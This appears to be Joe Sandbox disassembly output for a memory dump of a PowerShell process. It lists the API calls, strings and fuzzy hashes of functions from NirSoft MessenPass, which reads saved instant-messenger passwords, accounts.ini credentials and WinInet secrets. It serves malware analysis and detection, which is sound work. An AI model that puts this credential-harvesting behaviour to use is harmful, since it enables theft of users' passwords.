Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_mbscpymemcpysprintf
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s${Unknown}
API String ID: 1428123949-3474136107
Opcode ID: dfc1cacd1db7b3e5e31f88e82e27deeb72c9f49ab4d69ff4c670fff32b5d8099
Instruction ID: 62e2ad0b84330276400548424eb425e056568d51af16bfff45d60a010caf4195
Opcode Fuzzy Hash: dfc1cacd1db7b3e5e31f88e82e27deeb72c9f49ab4d69ff4c670fff32b5d8099
Instruction Fuzzy Hash: 1D7108B2804248FFD721DF51EC45EDB7BACEF48344F04443EF54892160EA759A94CBA9

Function 0040B4F6 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 286windowregistrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00408A29: LoadMenuA.USER32(00000000), ref: 00408A31
Part of subcall function 00408A29: sprintf.MSVCRT ref: 00408A54

SetMenu.USER32(?,00000000), ref: 0040B61C
SendMessageA.USER32(00000000,00000404,00000001,?), ref: 0040B64F
LoadImageA.USER32(00000068,00000000,00000000,00000000,00009060), ref: 0040B667
CreateWindowExA.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000), ref: 0040B6C7
_strcmpi.MSVCRT ref: 0040B799
RegDeleteKeyA.ADVAPI32(80000001,Software\NirSoft\MessenPass), ref: 0040B7AE
SetFocus.USER32(?), ref: 0040B7E1
GetFileAttributesA.KERNEL32(0041E678), ref: 0040B7FB
GetTempPathA.KERNEL32(00000104,0041E678), ref: 0040B80B
strlen.MSVCRT ref: 0040B812
strlen.MSVCRT ref: 0040B820
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 0040B86D

Part of subcall function 00404E68: strlen.MSVCRT ref: 00404E85
Part of subcall function 00404E68: SendMessageA.USER32(00000000,0000101B,00000000,?), ref: 00404EA9

SendMessageA.USER32(?,00000404,00000002,?), ref: 0040B8DD
SendMessageA.USER32(?,00000401,00001001,00000000), ref: 0040B8F0

Strings

commdlg_FindReplace, xrefs: 0040B868
xA, xrefs: 0040B7EE
/noloadsettings, xrefs: 0040B793
SysListView32, xrefs: 0040B6C1
/sm, xrefs: 0040B889
report.html, xrefs: 0040B819, 0040B831
Software\NirSoft\MessenPass, xrefs: 0040B7A4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: MessageSend$strlen$LoadMenu$AttributesClipboardCreateDeleteFileFocusFormatImagePathRegisterTempWindow_strcmpisprintf
String ID: /noloadsettings$/sm$Software\NirSoft\MessenPass$SysListView32$commdlg_FindReplace$report.html$xA
API String ID: 2862451953-132385428
Opcode ID: ea6126f0ad9a3bdd701ee80c8346164e4811f452d9b02224669d18572419d2bb
Instruction ID: 58ee6bec69cc5a2ead352e1dc17fbc33d0493dc4f48ef93b1c15430ab04c662e
Opcode Fuzzy Hash: ea6126f0ad9a3bdd701ee80c8346164e4811f452d9b02224669d18572419d2bb
Instruction Fuzzy Hash: 4FC1F271500244EFEB129F64C84ABDA7FA5EF54708F04407EFA446F2D2CBB95944CBA9

Function 0040F689 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 0040F94E: SetFilePointer.KERNEL32(0040F292,?,00000000,00000000,00418AF8,00000000,?,?,0040F8C4,?,00000000,?,76232EE0), ref: 0040F968
Part of subcall function 0040F94E: memset.MSVCRT ref: 0040F973

_strcmpi.MSVCRT ref: 0040F729
_strcmpi.MSVCRT ref: 0040F740
_strcmpi.MSVCRT ref: 0040F757
_strcmpi.MSVCRT ref: 0040F76E
_strcmpi.MSVCRT ref: 0040F792
_strcmpi.MSVCRT ref: 0040F7A6
_strcmpi.MSVCRT ref: 0040F7BA
_strcmpi.MSVCRT ref: 0040F7CE
_strcmpi.MSVCRT ref: 0040F7E2
_mbscpy.MSVCRT ref: 0040F831
_strcmpi.MSVCRT ref: 0040F843
_mbscpy.MSVCRT ref: 0040F88E

Strings

UIN, xrefs: 0040F7DC
gg_1, xrefs: 0040F768
icq_1, xrefs: 0040F73A
yahoo_id, xrefs: 0040F7C8
password, xrefs: 0040F83D
LoginName, xrefs: 0040F7B4
e-mail, xrefs: 0040F7A0
icq, xrefs: 0040F723

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi$_mbscpy$FilePointermemset
String ID: LoginName$UIN$e-mail$gg_1$icq$icq_1$password$yahoo_id
API String ID: 3770779768-1670397801
Opcode ID: 35a2a10a4a641d2086cb2dbdba6566c00143c3982c3012e31156ad73f44fce61
Instruction ID: 0cc2e13a8e56b2c188e74045540a3fe2ab2ea4ed6cca8b10f1d7ecee0d286665
Opcode Fuzzy Hash: 35a2a10a4a641d2086cb2dbdba6566c00143c3982c3012e31156ad73f44fce61
Instruction Fuzzy Hash: 795177725043096EEB21DAA2DC81EEA73AC9F04715F60447FF505E25C1EB38EB89879D

Function 0040244D Relevance: 33.4, APIs: 7, Strings: 12, Instructions: 132COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040246E
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000400,00000000,00000000), ref: 0040248C

Part of subcall function 004029D9: strlen.MSVCRT ref: 004029E6

??2@YAPAXI@Z.MSVCRT ref: 004024B9
??2@YAPAXI@Z.MSVCRT ref: 004024C8
memcpy.MSVCRT ref: 004025B4
??3@YAXPAX@Z.MSVCRT ref: 004025F4
??3@YAXPAX@Z.MSVCRT ref: 004025FC

Strings

W, xrefs: 004025B0
), xrefs: 0040259C
f, xrefs: 00402544
[, xrefs: 00402580
', xrefs: 00402504
X, xrefs: 00402514
:, xrefs: 0040252C
G, xrefs: 00402528
5, xrefs: 00402530
0, xrefs: 00402588
), xrefs: 00402584
[, xrefs: 004025A8

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@??3@$ByteCharMultiWidememcpymemsetstrlen
String ID: '$)$)$0$5$:$G$W$X$[$[$f
API String ID: 3606715663-4187034442
Opcode ID: 0c1ead281ec529b2204c21758b478f212f128851a43b0ebebe7386bd97e06504
Instruction ID: d66295c9476db63dbc5c32b0f61e30ac1af87f583ef6fa4ed04bb8f7da70bc00
Opcode Fuzzy Hash: 0c1ead281ec529b2204c21758b478f212f128851a43b0ebebe7386bd97e06504
Instruction Fuzzy Hash: 98514C218087CEDDDB22D7BC98486DEBF745F26224F0843D9E1E47B2D2D265064AC77A

Function 0040E0A1 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 142stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E0C7
strlen.MSVCRT ref: 0040E0CF
strlen.MSVCRT ref: 0040E0DB
GetPrivateProfileIntA.KERNEL32(Accounts,num,00000000,?), ref: 0040E11A
memset.MSVCRT ref: 0040E146
memset.MSVCRT ref: 0040E15A
memset.MSVCRT ref: 0040E16E
memset.MSVCRT ref: 0040E182
memset.MSVCRT ref: 0040E196
sprintf.MSVCRT ref: 0040E1AA
GetPrivateProfileStringA.KERNEL32(?,Account,00417C88,?,000003FF,?), ref: 0040E1D8
GetPrivateProfileStringA.KERNEL32(?,Password,00417C88,?,000003FF,?), ref: 0040E1FA

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

accounts.ini, xrefs: 0040E0D4, 0040E0EB
Password, xrefs: 0040E1EE
Account%3.3d, xrefs: 0040E1A4
Account, xrefs: 0040E1CC
num, xrefs: 0040E110
Accounts, xrefs: 0040E115

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$PrivateProfile$Stringstrlen$_mbscat_mbscpysprintf
String ID: Account$Account%3.3d$Accounts$Password$accounts.ini$num
API String ID: 1850607429-3672167483
Opcode ID: 574f83c5b41ac8dd83ff1764a4dea53749887e014cb38c5e2b2be6ead15973e1
Instruction ID: 3695b6fee04a76e8e88970007e36b309292cfce1d28ac10fc6c7acbfdb1ec453
Opcode Fuzzy Hash: 574f83c5b41ac8dd83ff1764a4dea53749887e014cb38c5e2b2be6ead15973e1
Instruction Fuzzy Hash: A25193B184026CBECB10DB54DC86EDA77BCAF55304F1044FAB508E3141DA789FC98BA4

Function 0040EE6A Relevance: 31.6, APIs: 11, Strings: 10, Instructions: 127COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040EE81
_strcmpi.MSVCRT ref: 0040EE96
_strcmpi.MSVCRT ref: 0040EEAB
_strcmpi.MSVCRT ref: 0040EEC0
_strcmpi.MSVCRT ref: 0040EED5
_strcmpi.MSVCRT ref: 0040EEE6
_strcmpi.MSVCRT ref: 0040EEF7
_strcmpi.MSVCRT ref: 0040EF08
_strcmpi.MSVCRT ref: 0040EF19
_strcmpi.MSVCRT ref: 0040EF2E
_strcmpi.MSVCRT ref: 0040EF3F

Strings

gg_1, xrefs: 0040EF39
icq_1, xrefs: 0040EEBA
yahoo, xrefs: 0040EF13
jabber, xrefs: 0040EECF
msn, xrefs: 0040EEF1
aim_1, xrefs: 0040EE90
aim, xrefs: 0040EE7B
jabber_1, xrefs: 0040EEE0
icq, xrefs: 0040EEA5
msn_1, xrefs: 0040EF02

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi
String ID: aim$aim_1$gg_1$icq$icq_1$jabber$jabber_1$msn$msn_1$yahoo
API String ID: 1439213657-55676784
Opcode ID: e5345bd8614f8dcd2d1c308e40a1d6c5d5934fe6eb63f7ee50686fc0058a6628
Instruction ID: d6ea28dcef1c43b6611216e97a84ccd45a66baff8fdfae9b3007c4cad2cc92f3
Opcode Fuzzy Hash: e5345bd8614f8dcd2d1c308e40a1d6c5d5934fe6eb63f7ee50686fc0058a6628
Instruction Fuzzy Hash: 2F31307324E3127AF714B9336D02BEB27898F11B66F24082FFA09B11C1EE7D5A55419E

Function 004124D4 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004124F5
memset.MSVCRT ref: 00412509
_mbscpy.MSVCRT ref: 00412536
sprintf.MSVCRT ref: 00412551
_mbscat.MSVCRT ref: 0041255E
sprintf.MSVCRT ref: 00412588
_mbscat.MSVCRT ref: 00412595
_mbscat.MSVCRT ref: 004125A3
_mbscat.MSVCRT ref: 004125B5
_mbscat.MSVCRT ref: 004125C0
_mbscat.MSVCRT ref: 004125D2
_mbscat.MSVCRT ref: 004125E4

Strings

</font>, xrefs: 004125DE
<b>, xrefs: 004125AF
<font, xrefs: 00412530
</b>, xrefs: 004125CC
color="#%s", xrefs: 00412582
size="%d", xrefs: 0041254B

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscat$memsetsprintf$_mbscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 633282248-1996832678
Opcode ID: 011dc5066fb19440f4804de798d1f4ec702ddfa9614fe7101a4430c164161ab3
Instruction ID: 0d87bc4a3c90cd549b7ee136a842ac2d8ae4f17c90590582d174715666fd6da4
Opcode Fuzzy Hash: 011dc5066fb19440f4804de798d1f4ec702ddfa9614fe7101a4430c164161ab3
Instruction Fuzzy Hash: CB31C7B2801215BEDB10AE549D939CAF76CAF10315F1441AFF514B2181EABC9FD08BAD

Function 0040A242 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 182COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A262
memset.MSVCRT ref: 0040A285
memset.MSVCRT ref: 0040A29B
memset.MSVCRT ref: 0040A2AB
sprintf.MSVCRT ref: 0040A2DF
_mbscpy.MSVCRT ref: 0040A326
sprintf.MSVCRT ref: 0040A3AD
_mbscat.MSVCRT ref: 0040A3DC

Part of subcall function 0041241F: sprintf.MSVCRT ref: 0041243E

_mbscpy.MSVCRT ref: 0040A3C1
sprintf.MSVCRT ref: 0040A410

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

Strings

bgcolor="%s", xrefs: 0040A2D9
 , xrefs: 0040A3D6
</table><p>, xrefs: 0040A432
nowrap, xrefs: 0040A320
<font color="%s">%s</font>, xrefs: 0040A3A5
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040A26A
<table border="1" cellpadding="5">, xrefs: 0040A2E7

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memsetsprintf$_mbscpy$FileWrite_mbscatstrlen
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 710961058-601624466
Opcode ID: 01ba515a634d510913fe2f235f109e28ad47b200226b44b89f882b7dae9418f4
Instruction ID: 690333ed3326df0f6eed54148ed3e596883a3b3feedda5c4c7dc15c04e40e9a4
Opcode Fuzzy Hash: 01ba515a634d510913fe2f235f109e28ad47b200226b44b89f882b7dae9418f4
Instruction Fuzzy Hash: 5B61AE31900208AFDF14DF54CC86EDE7B79EF08314F1001AAF909AB1D2DB799A94CB55

Function 0040DD65 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 178stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040DD8B
strlen.MSVCRT ref: 0040DD93
strlen.MSVCRT ref: 0040DD9D
memset.MSVCRT ref: 0040DDEB
memset.MSVCRT ref: 0040DDF9
memset.MSVCRT ref: 0040DE07
memset.MSVCRT ref: 0040DE1F
sprintf.MSVCRT ref: 0040DE46
GetPrivateProfileStringA.KERNEL32(?,name,00417C88,?,000003FF,?), ref: 0040DE74
GetPrivateProfileStringA.KERNEL32(?,password,00417C88,?,000003FF,?), ref: 0040DE96

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

sprintf.MSVCRT ref: 0040DF73
GetPrivateProfileStringA.KERNEL32(?,name,00417C88,?,000003FF,?), ref: 0040DFA2
GetPrivateProfileStringA.KERNEL32(?,password,00417C88,?,000003FF,?), ref: 0040DFC0

Strings

name, xrefs: 0040DE68, 0040DF96
profile %d, xrefs: 0040DE2B, 0040DF58
password, xrefs: 0040DE8A, 0040DFB4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$PrivateProfileString$sprintfstrlen$_mbscat_mbscpy
String ID: name$password$profile %d
API String ID: 3544386798-2462908242
Opcode ID: e7b187a0626f75cc39379d2bba276785f1ae62edefe99cb3f3bfbc37819d7c60
Instruction ID: 9e46ac0295d5b354e730bb81602d93da8fcedc4e5bf25204c2bd197169999166
Opcode Fuzzy Hash: e7b187a0626f75cc39379d2bba276785f1ae62edefe99cb3f3bfbc37819d7c60
Instruction Fuzzy Hash: DA61A5B284425DAEDB20DB54DC40FDA77BCAF15304F1444EAA559E3141DBB89FC88FA4

Function 004125F1 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00412612
memset.MSVCRT ref: 00412626
memset.MSVCRT ref: 0041263A
sprintf.MSVCRT ref: 00412664
sprintf.MSVCRT ref: 0041268E
_mbscpy.MSVCRT ref: 0041269F
sprintf.MSVCRT ref: 004126BA
memset.MSVCRT ref: 004126F5
sprintf.MSVCRT ref: 00412710
sprintf.MSVCRT ref: 00412744

Part of subcall function 0041241F: sprintf.MSVCRT ref: 0041243E

Strings

bgcolor="%s", xrefs: 0041265E
</font>, xrefs: 00412699
<th%s>%s%s%s, xrefs: 0041273E
<table border="1" cellpadding="5"><tr%s>, xrefs: 004126B4
<font color="%s">, xrefs: 00412688
width="%s", xrefs: 0041270A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: sprintf$memset$_mbscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 3402215030-3842416460
Opcode ID: ea06b0d74ada23c5ef34a7984231b84acf2e1d6cd6bcfe81b43f4a3791556408
Instruction ID: a5bfc8ec8e60557daa4b034ce7241d6b1778398f1e76627a293d7ac05c42f781
Opcode Fuzzy Hash: ea06b0d74ada23c5ef34a7984231b84acf2e1d6cd6bcfe81b43f4a3791556408
Instruction Fuzzy Hash: D24173B280121DBADB21EE54DC45FEB776CAF14309F0400ABF518E2142E6789FD88BA5

Function 004010D0 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 00401118
ChildWindowFromPoint.USER32(?,?,?), ref: 00401126

Part of subcall function 00406D6B: ShellExecuteA.SHELL32(?,open,?,00417C88,00417C88,00000005), ref: 00406D81

GetDlgItem.USER32(?,000003EC), ref: 00401161
ChildWindowFromPoint.USER32(?,?,?), ref: 0040116F
LoadCursorA.USER32(00000067), ref: 00401186
SetCursor.USER32(00000000,?,?), ref: 0040118D
GetDlgItem.USER32(?,000003EC), ref: 0040119D
SetBkMode.GDI32(?,00000001), ref: 004011B1
SetTextColor.GDI32(?,00C00000), ref: 004011BF
GetSysColorBrush.USER32(0000000F), ref: 004011C7
EndDialog.USER32(?,00000001), ref: 004011E5
DeleteObject.GDI32(?), ref: 004011F1
SetWindowTextA.USER32(?,MessenPass), ref: 00401204
SetDlgItemTextA.USER32(?,000003EA,?), ref: 0040121C
SetDlgItemTextA.USER32(?,000003EC,?), ref: 0040122D

Strings

MessenPass, xrefs: 004011FC

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Item$Text$Window$ChildColorCursorFromPoint$BrushDeleteDialogExecuteLoadModeObjectShell
String ID: MessenPass
API String ID: 2410034309-1347981195
Opcode ID: 843b1ff313390d25d34e2be648776c3666369c8dad7882cf094c1c7715f69dbe
Instruction ID: 61c274a33cdd550ae885db2c0d410d86e96b4f8b628e001bd40ef85afa118776
Opcode Fuzzy Hash: 843b1ff313390d25d34e2be648776c3666369c8dad7882cf094c1c7715f69dbe
Instruction Fuzzy Hash: 6D31D271500A4AFBDB026FA0DD49EEABB7AFB44301F508236F915E61B0C7759861DB88

Function 0040C50E Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040C514
_strcmpi.MSVCRT ref: 0040C529

Strings

/stab, xrefs: 0040C54E
/skeepass, xrefs: 0040C58D
/shtml, xrefs: 0040C50F
/stabular, xrefs: 0040C578
/sxml, xrefs: 0040C539
/scomma, xrefs: 0040C563
/sverhtml, xrefs: 0040C524

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi
String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
API String ID: 1439213657-1959339147
Opcode ID: 42829d603ed6219f05e00acd70f5009b327ef2ea2f3e71e7fd8bced316a66bba
Instruction ID: dd15bb3cc8bdf641e1a17555e2464251a39e176c696be1a009fdff25c7df10cc
Opcode Fuzzy Hash: 42829d603ed6219f05e00acd70f5009b327ef2ea2f3e71e7fd8bced316a66bba
Instruction Fuzzy Hash: DE011AB229A32178F9286A773C07BD70A488B51F7BF70065FF408E40C1FE5C968054AD

Function 00404D18 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,004084A6), ref: 00404D23
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00404D37
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00404D43
GetProcAddress.KERNEL32(?,CryptCreateHash), ref: 00404D4F
GetProcAddress.KERNEL32(?,CryptGetHashParam), ref: 00404D5B
GetProcAddress.KERNEL32(?,CryptHashData), ref: 00404D67
GetProcAddress.KERNEL32(?,CryptDestroyHash), ref: 00404D73

Strings

CryptAcquireContextA, xrefs: 00404D2F
advapi32.dll, xrefs: 00404D1E
CryptDestroyHash, xrefs: 00404D69
CryptReleaseContext, xrefs: 00404D39
CryptHashData, xrefs: 00404D5D
CryptCreateHash, xrefs: 00404D45
CryptGetHashParam, xrefs: 00404D51

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$advapi32.dll
API String ID: 2238633743-1621422469
Opcode ID: 11447201b65d866f37edbf99505d086a0ab8926e77609814987dd4a6320f0436
Instruction ID: 844867562ca0833f301e0ac6fd14d3db62e181894ebadeef568166b0b2be0524
Opcode Fuzzy Hash: 11447201b65d866f37edbf99505d086a0ab8926e77609814987dd4a6320f0436
Instruction Fuzzy Hash: 4FF09774940B48AECB30AF759C09E86BEE1EF9C7007224D2EE2C553650DA799084CE88

Function 00404578 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040459A
memset.MSVCRT ref: 004045BA
wcschr.MSVCRT ref: 0040464E
_wcsncoll.MSVCRT ref: 00404667
memcpy.MSVCRT ref: 00404700
wcschr.MSVCRT ref: 00404714
wcscpy.MSVCRT ref: 0040472B
memcpy.MSVCRT ref: 004047E3
LocalFree.KERNEL32(?,?,?,?,?,?), ref: 004047F5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0040473C

Part of subcall function 00404CE0: FreeLibrary.KERNELBASE(?,00404CA5,00000000,00404771,?,?), ref: 00404CEB

memcpy.MSVCRT ref: 0040483B

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

Strings

?L@, xrefs: 00404578
Microsoft_WinInet, xrefs: 0040458C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Freememcpy$LibraryLocalwcschr$AddressLoadProc_wcsncollmemsetwcscpywcslen
String ID: ?L@$Microsoft_WinInet
API String ID: 1802959924-2674056311
Opcode ID: fe56d977aabb073792e25c405abe676263accf88416be629dc76c317c79dc49e
Instruction ID: 38d9b8d34b298c31677a0e9ec7c60157448ec74f6fc12d2487dcaf445e5773ed
Opcode Fuzzy Hash: fe56d977aabb073792e25c405abe676263accf88416be629dc76c317c79dc49e
Instruction Fuzzy Hash: 7FA16DB6D002199BDF10DFA5D844AEEB7B8FF44304F00846BEA19F7281E7789A45CB95

Function 004137CE Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004137F3

Part of subcall function 00413646: strlen.MSVCRT ref: 00413653

strlen.MSVCRT ref: 0041380F
memset.MSVCRT ref: 00413849
memset.MSVCRT ref: 0041385D
memset.MSVCRT ref: 00413871
memset.MSVCRT ref: 00413897

Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C9BA

Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9E6
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9FC
Part of subcall function 0040C9C7: memcpy.MSVCRT ref: 0040CA33
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040CA3D

memcpy.MSVCRT ref: 004138CE

Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C96C
Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C996

Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040CA0E

memcpy.MSVCRT ref: 0041390A
memcpy.MSVCRT ref: 0041391C
_mbscpy.MSVCRT ref: 004139F3
memcpy.MSVCRT ref: 00413A24
memcpy.MSVCRT ref: 00413A36

Strings

salu, xrefs: 0041382A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpymemset$strlen$_mbscpy
String ID: salu
API String ID: 3691931180-4177317985
Opcode ID: a28751cfe978eb37453970bb265a1e64262579446a4253816dc0a22a7f9660ca
Instruction ID: 50f97ef88cf8910c77a3c81ceda6bafe80676b1d4533e7ed44b9b26706654b38
Opcode Fuzzy Hash: a28751cfe978eb37453970bb265a1e64262579446a4253816dc0a22a7f9660ca
Instruction Fuzzy Hash: 48712DB290011DAADF10EF95DC819DE77B8BF08348F1445BAF548E7141DB78AB888F95

Function 00403EDF Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

memset.MSVCRT ref: 00403F2E
memset.MSVCRT ref: 00403F42
memset.MSVCRT ref: 00403F56
sprintf.MSVCRT ref: 00403F77
_mbscpy.MSVCRT ref: 00403F93
sprintf.MSVCRT ref: 00403FCA
sprintf.MSVCRT ref: 00403FFB

Strings

<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00403FF5
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00403F71
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00403FA5
<table dir="rtl"><tr><td>, xrefs: 00403F8D
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00403F06
MessenPass, xrefs: 00403FE1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memsetsprintf$FileWrite_mbscpystrlen
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$MessenPass
API String ID: 113626815-2158351146
Opcode ID: 00ac9a161666d359e30a85352218d100d67a3872f7ac0cc1d46ad38c70204dfb
Instruction ID: 7e850c38df9f1f0d15d36b6f1642bcd7d5b849b9a1e92852595dac58af72d1cd
Opcode Fuzzy Hash: 00ac9a161666d359e30a85352218d100d67a3872f7ac0cc1d46ad38c70204dfb
Instruction Fuzzy Hash: 963195B2904258BFDB11DBA59C42EDE7BACAF14304F0440ABF508B7141DA799FC88B99

Function 00403EF6 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
